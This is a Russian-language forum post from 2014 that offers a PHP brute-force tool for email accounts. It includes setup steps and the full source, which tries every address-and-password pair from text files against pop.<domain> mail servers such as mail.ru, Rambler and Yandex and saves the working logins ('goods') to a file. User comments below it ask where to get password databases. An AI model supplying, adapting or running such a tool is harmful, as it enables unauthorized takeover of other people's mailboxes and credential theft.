{% else-1 %}
Замечательный php брут mail. Брутит практический все сервисы где поддерживается pop. Брут тестировался на мылах mail.ru, рамблера, и по моему яндекса. Если еще где протестируете пишите в комментариях. Настройка барут очень простая.

1. Для начала открываем текстовым редактором и правим настройки
################# SET #####
$mails = \'mails.txt\'; //файл с мылами
$passwd = \'password.txt\'; // файл с паролями
$file = \'good.txt\'; //куда сохранять гуды
###########################

2. Затем все это дело надо запустить, возможны 2 варианта запуска, из консоли и из под веб сервера.

Запуск windows
php.exe check.php


Запуск linex
php check.php


3. Для запуска из под веб сервера, помещаете файл check.php в корень сайта и переходите в браузере по ссылке http://localhost.ru/check.php. Вместо localhost можно указать удаленный сервер.

                        
<?PHP
@set_time_limit(0);
@ignore_user_abort(1);
################# SET #####
$mails = 'mails.txt'; //файл с мылами
$passwd = 'password.txt'; // файл с паролями
$file = 'good.txt'; //куда сохранять гуды
###########################
function check ($login, $password, $domain)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'pop3://pop.'.$domain.'/'); // set url to post to
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);
$data=$login.":".$password;
curl_setopt($ch, CURLOPT_USERPWD, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
if(!$result) return false; else return true;
}

function add_to_file($string)
{
global $file;
$res=fopen($file,'a');
$try=fwrite($res,$string."\n");
if (!$try) {echo 'Ошибка! Не могу записать в файл: '.$file."\n";}
}

$m_arr=file($mails);
$p_arr=file($passwd);
if (!count($m_arr)) exit("Неверно указан файл с мылами\n");
if (!count($p_arr)) exit("Неверно указан файл с паролями\n");

foreach($m_arr as $mail)
{
foreach($p_arr as $password)
{
$match = explode("@", $mail);
$login = $match[0];
$domain = $match[1];
$domain = preg_replace('/\s+/is', '', $domain);
$password = preg_replace('/\s+/is', '', $password);
echo $login."@".$domain.":".$password." - ";

if (check($login, $password, $domain))
{
add_to_file($login."@".$domain.":".$password);
echo "GOOD\n";
}
else
echo "BAD\n";
}
}


?>
1 30 0
0

Нет фото
• 4 фев 2014, 22:40


Запуск linex.
Ясно. Понятно.

0

Нет фото
• 3 фев 2014, 14:28


Поставил свой логин и пароль,пишет BAD

0

Нет фото
System * [мошенник] 0.85
• 2 фев 2014, 22:35


Брут прикольний ток вот базу паролей на 6мб не открывает гг

0

Нет фото
• 1 фев 2014, 12:14


не пашет

0

Нет фото
Mstivoj * 2.18
• 1 фев 2014, 07:17


А базы пасов где брать? *